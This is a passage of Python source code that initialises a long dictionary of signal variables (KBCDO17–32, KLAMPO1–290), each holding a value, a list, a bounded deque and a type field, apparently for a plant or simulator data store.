'KBCDO17': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KBCDO18': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KBCDO19': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KBCDO20': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KBCDO21': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KBCDO22': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KBCDO23': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KBCDO24': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KBCDO25': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KBCDO26': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KBCDO27': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KBCDO28': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KBCDO29': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KBCDO30': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KBCDO31': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KBCDO32': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO2': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO3': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO4': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO5': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO6': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO7': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO8': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO9': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO10': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO11': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO12': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO13': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO14': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO15': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO16': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO17': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO18': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO19': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO20': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO21': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO22': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO23': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO24': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO25': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO26': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO27': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO28': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO29': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO30': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO31': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO32': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO33': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO34': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO35': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO36': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO37': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO38': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO39': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO40': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO41': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO42': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO43': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO44': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO45': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO46': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO47': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO48': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO49': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO50': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO51': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO52': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO53': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO54': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO55': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO56': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO57': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO58': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO59': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO60': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO61': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO62': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO63': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO64': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO65': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO66': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO67': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO68': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO69': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO70': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO71': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO72': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO73': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO74': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO75': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO76': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO77': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO78': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO79': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO80': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO81': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO82': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO83': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO84': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO85': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO86': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO87': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO88': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO89': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO90': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO91': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO92': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO93': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO94': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO95': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO96': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO97': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO98': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO99': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO100': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO101': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO102': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO103': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO104': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO105': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO106': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO107': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO108': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO109': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO110': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO111': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO112': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO113': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO114': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO115': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO116': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO117': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO118': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO119': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO120': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO121': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO122': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO123': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO124': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO125': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO126': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO127': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO128': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO129': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO130': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO131': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO132': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO133': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO134': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO135': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO136': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO137': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO138': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO139': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO140': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO141': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO142': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO143': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO144': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO145': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO146': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO147': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO148': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO149': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO150': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO151': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO152': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO153': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO154': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO155': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO156': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO157': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO158': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO159': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO160': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO161': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO162': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO163': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO164': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO165': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO166': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO167': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO168': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO169': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO170': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO171': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO172': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO173': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO174': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO175': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO176': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO177': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO178': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO179': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO180': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO181': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO182': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO183': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO184': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO185': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO186': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO187': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO188': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO189': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO190': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO191': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO192': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO193': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO194': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO195': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO196': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO197': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO198': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO199': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO200': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO201': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO202': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO203': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO204': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO205': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO206': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO207': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO208': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO209': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO210': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO211': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO212': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO213': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO214': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO215': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO216': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO217': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO218': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO219': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO220': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO221': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO222': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO223': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO224': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO225': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO226': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO227': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO228': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO229': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO230': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO231': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO232': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO233': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO234': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO235': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO236': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO237': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO238': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO239': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO240': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO241': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO242': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO243': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO244': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO245': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO246': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO247': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO248': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO249': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO250': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO251': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO252': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO253': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO254': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO255': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO256': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO257': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO258': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO259': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO260': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO261': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO262': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO263': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO264': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO265': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO266': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO267': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO268': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO269': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO270': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO271': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO272': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO273': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO274': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO275': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO276': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO277': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO278': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO279': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO280': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO281': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO282': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO283': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO284': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO285': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO286': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO287': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO288': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO289': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLAMPO290': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
